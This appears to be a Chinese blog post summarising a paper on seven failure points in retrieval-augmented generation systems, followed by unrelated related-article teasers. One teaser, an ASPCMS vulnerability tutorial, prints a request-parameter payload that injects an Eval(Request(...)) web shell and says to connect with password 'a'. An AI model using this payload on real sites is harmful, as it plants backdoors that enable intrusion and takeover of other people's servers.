当前位置: 首页 > news >正文

《工程检索增强生成系统时的七个失败点》论文 AI 解读

周末使用 AI 速度了一篇 RAG 相关的论文,文中提到的【设计 RAG 系统时需要考虑的七个失败点】非常有价值,简单整理一下分享出来,大家如果感兴趣可以继续阅读原文。


论文名称:Seven Failure Points When Engineering a Retrieval Augmented Generation System
论文中文名:工程检索增强生成系统时的七个失败点
论文地址:https://arxiv.org/abs/2401.05856
一译中英对照版:https://yiyibooks.cn/arxiv/2401.05856v1/index.html

如果你也想使用 AI 快速阅读论文,可参考:《AI 助力问题驱动式学习》

论文转思维导图速览:
在这里插入图片描述

如果你想了解该图是如何生成的,可以阅读:《AI 应用之文章转脑图的 N 种姿势》

一、概括

在这篇论文中,Scott Barnett 等人探讨了增强检索(Retrieval-Augmented Generation, RAG)系统在工程实践中可能遇到的挑战和失败点。RAG 系统通过结合信息检索和大型语言模型(LLM)的生成能力,旨在提供准确、上下文相关的回答。然而,RAG 系统在信息检索的固有局限性和对 LLM 的依赖上存在问题。本文通过三个不同领域的案例研究,分享了在设计 RAG 系统时需要考虑的七个失败点,并提出了软件工程社区可能的研究方向。

二、三个案例

论文通过三个案例研究展示了RAG系统在不同领域的应用和遇到的挑战:

  • Cognitive Reviewer:支持研究人员分析科学文档的 RAG 系统。
  • AI Tutor:一个 RAG 系统,学生可以就单元内容提问,答案来源于学习材料。
  • BioASQ:使用 BioASQ 数据集构建的 RAG 系统,专注于生物医学领域的问答。

三、设计 RAG 系统时需要考虑的七个失败点

在这里插入图片描述

1. FP1 缺少内容(Missing Content)
当用户提出的问题无法从现有的文档中找到答案时,RAG系统可能无法提供有用的回应。理想情况下,系统会回复类似于“对不起,我不知道”的回答。然而,如果问题与内容相关但没有直接答案,系统可能会错误地生成一个看似合理但实际错误的回答。

2. FP2 错过高排名文档(Missed the Top Ranked Documents)
即使文档中包含了问题的答案,但如果该文档的排名没有足够高,它可能不会被返回给用户。理论上,所有文档都应参与排名并用于后续步骤,但在实践中,通常只返回基于性能选定的前K个文档。

3. FP3 上下文缺失(Not in Context)
检索到的包含答案的文档可能没有被纳入生成答案的上下文中。这通常发生在从数据库检索到许多文档时,需要通过整合过程来提取答案。

4. FP4 提取失败(Not Extracted)
尽管答案存在于上下文中,但大型语言模型(LLM)可能未能正确提取出正确答案。这种情况通常发生在上下文中存在太多噪声或矛盾信息时。

5. FP5 格式错误(Wrong Format)
当问题需要以特定格式(如表格或列表)提取信息时,如果LLM忽略了这一指令,就会产生格式错误。

6. FP6 具体性错误(Incorrect Specificity)
返回的答案可能不够具体或过于具体,无法满足用户的需求。这发生在RAG系统设计者对给定问题有预期结果时,例如教师为学生提供的答案不仅应该是答案本身,还应该是具体的教育内容。

7. FP7 答案不完整(Incomplete)
不完整的答案虽然不是错误,但它们遗漏了一些信息,即使这些信息在上下文中可用并且可以被提取。例如,当用户问到“文档A、B和C中涵盖了哪些关键点?”时,更好的做法是分别提问这些问题。

四、教训

  1. 需要更大的上下文来获得更准确的结果。
  2. 语义缓存可以降低成本和延迟。
  3. 为 RAG 系统添加元数据可以改善检索。
  4. 开源嵌入模型在小文本上的表现与闭源模型相当。
  5. RAG 系统需要持续的校准和监控。

五、未来研究方向

5.1、分块和嵌入策略的优化

分块(Chunking) 是RAG系统中的关键步骤,它涉及将文档分割成更小的部分或“块”,这些块随后被转换成嵌入向量以用于检索。分块的质量直接影响到检索过程和嵌入的质量,进而影响文档与用户查询之间的匹配度。论文中提到了两种分块方法:

  • 基于启发式的分块:使用标点符号、段落结束等作为分块依据。
  • 基于语义的分块:利用文本中的语义信息来确定分块的起始和结束。

优化分块策略需要考虑以下方面:

  • 块的大小:块太小可能无法回答某些问题,块太大可能包含噪声。
  • 文档类型:不同类型的文档可能需要不同的分块和处理策略。
  • 嵌入模型的选择:不同的嵌入模型可能对语义检索的准确性有不同的影响。

进一步的研究应该探索这些方法之间的权衡,并评估它们对关键下游过程(如嵌入质量和相似性匹配)的影响。

嵌入(Embeddings) 是文档块的压缩语义表示,通常是一个数值向量。嵌入的生成对于文档检索至关重要,因为它们决定了文档与查询之间的相似度计算。优化嵌入策略涉及:

  • 嵌入模型的选择:选择能够准确捕捉文档语义的模型。
  • 更新频率:确定何时重新生成嵌入以反映新索引的文档或文档更新。

2、RAG与微调(Finetuning)的比较研究

RAG系统和微调是两种不同的方法,用于定制大型语言模型以适应特定领域的需求。微调涉及在特定领域的数据集上继续训练模型,而RAG系统则利用检索机制来提供上下文信息,然后由LLM生成答案。

  • 微调:需要内部数据集来训练和适应模型,数据一旦集成到模型中,就需要考虑隐私和安全性问题。此外,随着基础模型的更新或新数据的加入,需要重新进行微调。
  • RAG:提供了一种实用解决方案,允许按需分块数据,并只使用相关的块来生成答案。这有助于持续更新知识,并允许控制用户可以访问的块。

比较研究应该系统地评估这两种方法在以下方面的差异:

  • 准确性:哪种方法在特定任务上提供更准确的结果。
  • 延迟:生成答案所需的时间。
  • 运营成本:实施和维护每种方法的成本。
  • 鲁棒性:系统对新数据和变化的适应能力。

3、RAG系统的测试和监控方法

RAG系统的测试和监控是软件工程中的新兴领域,需要特定的方法和工具来确保系统的质量和性能。

  • 测试:由于RAG系统通常处理特定于应用的问题和答案,因此测试用例的生成可能需要创新方法,例如使用LLM生成问题。
  • 质量指标:开发质量指标来帮助工程师做出质量权衡,考虑到使用LLM的成本、引入的延迟以及每次新版本发布时性能的变化。
  • 自我适应系统:将自我适应系统的概念纳入RAG系统的监控和适应中,以支持系统的持续优化。

研究应该探索以下方面:

  • 测试数据生成:如何生成现实和领域相关的测试问题和答案。
  • 质量评估:开发和应用质量评估方法来衡量RAG系统的性能。
  • 自我适应:研究如何使RAG系统能够自我监控并根据实时反馈进行调整。

通过这些研究,可以为RAG系统的开发和维护提供更清晰的指导,并帮助实践者构建更加健壮和有效的系统。

六、结论

论文的结论部分强调了RAG系统作为结合大型语言模型的新型信息检索技术的重要性,并指出软件工程师在实施这些系统时面临的挑战。作者通过三个案例研究,包括对15,000份文档和1000个问题的实证调查,为实践者提供了实施RAG系统时可能遇到的挑战的指南。同时,论文提出了未来研究方向,包括分块和嵌入策略、RAG与微调的比较,以及RAG系统的测试和监控。最后,作者指出这是首次从软件工程视角对RAG系统进行的系统性研究,并强调了大型语言模型将持续发展,为工程师和研究人员带来新的研究兴趣点。

相关文章:

《工程检索增强生成系统时的七个失败点》论文 AI 解读

周末使用 AI 速度了一篇 RAG 相关的论文,文中提到的【设计 RAG 系统时需要考虑的七个失败点】非常有价值,简单整理一下分享出来,大家如果感兴趣可以继续阅读原文。 论文名称:Seven Failure Points When Engineering a Retrieval A…...

每日一题——贪心算法

1005. K 次取反后最大化的数组和 - 力扣(LeetCode) 题解: 一开始有点理解错他的意思,以为是i是题目中会给出,所以一开始没有什么思路,然后当看了题解之后,就知道了原来i是自己订的&#xff0c…...

Artix7系列FPGA实现SDI视频编解码+图像缩放+多路视频拼接,基于GTP高速接口,提供4套工程源码和技术支持

目录 1、前言工程概述免责声明 2、相关方案推荐本博已有的 SDI 编解码方案本博已有的FPGA图像缩放方案本博已有的已有的FPGA视频拼接叠加融合方案本方案的无缩放应用本方案在Xilinx--Kintex系列FPGA上的应用本方案在Xilinx--Zynq系列FPGA上的应用 3、详细设计方案设计原理框图S…...

HTTP 状态码详细介绍

超文本传输协议(Hypertext Transfer Protocol,HTTP)是一个简单的请求-响应协议,它通常运行在TCP之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。请求和响应消息的头以ASCII形式给出;而消息内…...

React前端面试每日一试 5.什么是受控组件和非受控组件?

在React中,受控组件和非受控组件是两种处理表单数据的方式。理解这两种方式对于管理和维护表单状态非常重要。 受控组件(Controlled Components) 受控组件是指那些表单数据完全由React组件的状态控制的组件。也就是说,表单元素的…...

代码随想录打卡第四十四天

代码随想录–动态规划部分 day 44 动态规划第11天 文章目录 代码随想录--动态规划部分一、力扣1143--最长公共子序列二、力扣1035--不相交的线三、力扣53--最大子数组和四、力扣392--判断子序列 一、力扣1143–最长公共子序列 代码随想录题目链接:代码随想录 给定…...

【JAVA】枚举类的使用:通过枚举类名称得到对应值进行输出

枚举类其实就是一个特殊的class。 /*** ClassName: CardType* Description:数字卡类型对应的文字卡类型*/ public enum CardType {NORMAL_CARD("金普卡"),BUSINESS_CARD("商务卡"),PRIVATE_CARD("黑金无限卡");private String cardName;CardTyp…...

20240731软考架构------软考6-10答案解析

每日打卡题6-10答案 6、【2012年真题】 难度:一般 若系统中的某子模块需要为其他模块提供访问不同数据库系统的功能,这些数据库系统提供的访问接口有一定的差异,但访问过程却都是相同的,例如,先连接数据库&#xff0c…...

学习记录——day25 多线程编程 临界资源 临界区 竞态 线程的同步互斥机制(用于解决竟态)

目录 ​编辑 一、多进程与多线程对比 二、 临界资源 临界区 竞态 例1:临界资源 实现 输入输出 例2:对临界资源 进行 减减 例子3:临界资源抢占使用 三、线程的同步互斥机制(用于解决竟态) 3.1基本概念 3.2线…...

[RK3566]linux下使用upgrade_tool报错

linux下使用upgrade_tool报错Creating Comm Object failed! Rockusb>uf /home/zhuhongxi/RK3566_AOSP_SDK/rockdev/Image-rk3566_tspi/update.img Loading firmware... Support Type:RK3568 FW Ver:b.0.00 FW Time:2024-08-03 12:00:09 Loader ver:1.01 Loader Time:…...

系统架构师(每日一练13)

每日一练 答案与解析 1.应用系统构建中可以采用多种不同的技术,()可以将软件某种形式的描述转换为更高级的抽象表现形式,而利用这些获取的信息,()能够对现有系统进行修改或重构,从而产生系统的一个新版本。答案与解析 问题1 A.逆…...

Error: No module factory available for dependency type: CssDependency

本篇主要用来记录VUE打包的问题点,今天使用npm run build:prod 打包VUE出现如下问题: Error: No module factory available for dependency type: CssDependency 因为测试和预发布都挺正常的,正式环境竟然出问题,废话不多说&…...

【langchain学习】使用Langchain生成多视角查询

使用Langchain生成多视角查询 导入所需库: from langchain.prompts import ChatPromptTemplate from langchain_core.output_parsers import StrOutputParser from langchain_core.runnables import RunnablePassthrough from config import llm设置提示模板&#x…...

ASPCMS 漏洞详细教程

一.后台修改配置文件拿shell 登录后台 如下操作 保存并抓包 将slideTextStatus的值修改为1%25><%25Eval(Request(chr(65)))25><%25 放包&#xff08;连接密码是a&#xff09; 然后用工具连接 成功连接...

二维码生成原理及解码原理

☝☝☝二维码配图 二维码 二维码&#xff08;Quick Response Code&#xff0c;简称QR码&#xff09;是一种广泛使用的二维条形码技术&#xff0c;由日本公司Denso Wave在1994年开发。二维码能有效地存储和传递信息&#xff0c;广泛应用于商品追溯、支付、广告等多个领域。二维…...

云计算实训20——mysql数据库安装及应用(增、删、改、查)

一、mysql安装基本步骤 1.下载安装包 wget https://downloads.mysql.com/archives/get/p/23/file/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar 2.解压 tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar 3.卸载mariadb yum -y remove mariadb 查看解压后的包 [rootmysq…...

24年电赛——自动行驶小车(H题)基于 CCS Theia -陀螺仪 JY60 代码移植到 MSPM0G3507(附代码)

前言 只要搞懂 M0 的代码结构和 CCS 的图形化配置方法&#xff0c;代码移植就会变的很简单。因为本次电赛的需要&#xff0c;正好陀螺仪部分代码的移植是我完成的。&#xff08;末尾附全部代码&#xff09; 一、JY60 陀螺仪 JY60特点 1.模块集成高精度的陀螺仪、加速度计&…...

数组的增删查查改

1、增 1.Cpp #include <iostream> using namespace std; #include "add.h"int main() {//初始化数组int arr[5];//前四个元素为1&#xff0c;2&#xff0c;3&#xff0c;4for (int i 0; i < 4; i){arr[i] i1;}//数组第5个赋值为100arr[4] 100;for (int…...

设计模式——动态代理

设计模式——动态代理 动态代理的基本概念动态代理的实现步骤总结 在Java中&#xff0c;动态代理是一种强大的机制&#xff0c;它允许在运行时创建一个代理对象&#xff0c;这个代理对象可以代表另一个实际对象&#xff0c;它允许你在不直接操作原始对象的情况下&#xff0c;通…...

vue(element-ui组件) 的this.$notify的具体使用

getNotify() {this.noClose();let message "";message this.itemData.map((ele) > {const text "任务" ele.title "新增" ele.num "条言论";return this.$createElement("el-tooltip",{props: {content: text,pla…...

LH6828@ACP#6828#484 USB3.1 全通道 4:1/1:4 10Gbps 多路复用 / 解复用器 产品规格、应用分享及CH484规格对比

LH6828 是一款高性能全通道高速双向无源开关&#xff0c;专为 USB Type-C 生态系统设计&#xff0c;深度适配 USB3.1 Gen1&#xff08;5Gbps&#xff09;/Gen2&#xff08;10Gbps&#xff09;超高速传输协议&#xff0c;支持 4 组设备全通道信号的 4:1/1:4 双向切换&#xff0c…...

深度解析:Umi-OCR Rapid版本HTTP服务参数配置的3个关键步骤

深度解析&#xff1a;Umi-OCR Rapid版本HTTP服务参数配置的3个关键步骤 【免费下载链接】Umi-OCR Umi-OCR: 这是一个免费、开源、可批量处理的离线OCR软件&#xff0c;适用于Windows系统&#xff0c;支持截图OCR、批量OCR、二维码识别等功能。 项目地址: https://gitcode.com…...

EB Tresos里XDM文件详解:不只是配置界面,更是你定制MCAL模块的‘源代码’

EB Tresos中XDM文件的深度解析&#xff1a;从配置界面到MCAL模块定制化开发 在AUTOSAR开发领域&#xff0c;EB Tresos Studio作为行业标准的MCAL配置工具&#xff0c;其核心机制往往隐藏在那些看似普通的配置文件中。XDM文件就是这样一个关键角色——它远不止是配置界面的数据源…...

你的舵机抖得厉害?可能是PWM信号配置错了!STM32定时器避坑指南(实测MG996R)

STM32舵机控制实战&#xff1a;从PWM原理到MG996R精准调参 引言 当你第一次尝试用STM32控制舵机时&#xff0c;可能会遇到这样的场景&#xff1a;按照教程配置好PWM参数&#xff0c;烧录程序后却发现舵机要么纹丝不动&#xff0c;要么疯狂抖动&#xff0c;甚至发出刺耳的噪音…...

Harmonyos应用实例193:圆与方程探索

5. 圆与方程探索 功能简介:输入圆心坐标和半径,绘制圆并显示标准方程,探索圆与直线的位置关系。这是一个功能强大的圆方程计算器,支持通过滑块交互式调整圆心坐标和半径,实时绘制圆形并显示标准方程。用户可选择显示直线,通过调整斜率和截距探索圆与直线的位置关系,系统…...

立知-lychee-rerank-mm效果展示:文本+图像联合匹配惊艳案例集

立知-lychee-rerank-mm效果展示&#xff1a;文本图像联合匹配惊艳案例集 1. 多模态重排序新体验 想象一下这样的场景&#xff1a;你在电商平台搜索"白色猫咪玩毛线球"&#xff0c;系统返回了20个结果&#xff0c;有纯文字描述、有商品图片、还有图文混合的内容。传…...

5种场景轻松搞定抖音视频保存 开源工具让无水印下载变简单

5种场景轻松搞定抖音视频保存 开源工具让无水印下载变简单 【免费下载链接】douyin_downloader 抖音短视频无水印下载 win编译版本下载&#xff1a;https://www.lanzous.com/i9za5od 项目地址: https://gitcode.com/gh_mirrors/dou/douyin_downloader 在数字内容爆炸的时…...

用Python手把手实现乘幂法:从理论到代码,5分钟搞定矩阵最大特征值计算

用Python手把手实现乘幂法&#xff1a;从理论到代码&#xff0c;5分钟搞定矩阵最大特征值计算 矩阵特征值计算是线性代数的核心问题之一&#xff0c;在机器学习、物理模拟和工程分析中无处不在。但当你面对一个实际项目时&#xff0c;真正需要的往往不是繁琐的数学推导&#xf…...

新手必看:用快马AI生成HTML链接代码示例,轻松掌握网页跳转

今天想和大家分享一个特别适合新手入门HTML链接标签的小技巧。作为一个刚接触前端开发的小白&#xff0c;我发现理解各种链接的写法其实并不难&#xff0c;关键是要有直观的示例和实时反馈。最近在InsCode(快马)平台上尝试用AI生成代码&#xff0c;发现它特别适合用来学习基础H…...

ChatTTS离线部署实战:从模型优化到生产环境效率提升

最近在做一个需要离线语音合成的项目&#xff0c;用到了ChatTTS这个效果不错的模型。但直接部署原版模型时&#xff0c;遇到了不少头疼的问题&#xff1a;推理速度慢、内存占用高&#xff0c;在资源受限的生产环境里简直是“吞金兽”。经过一番折腾&#xff0c;总算摸索出一套从…...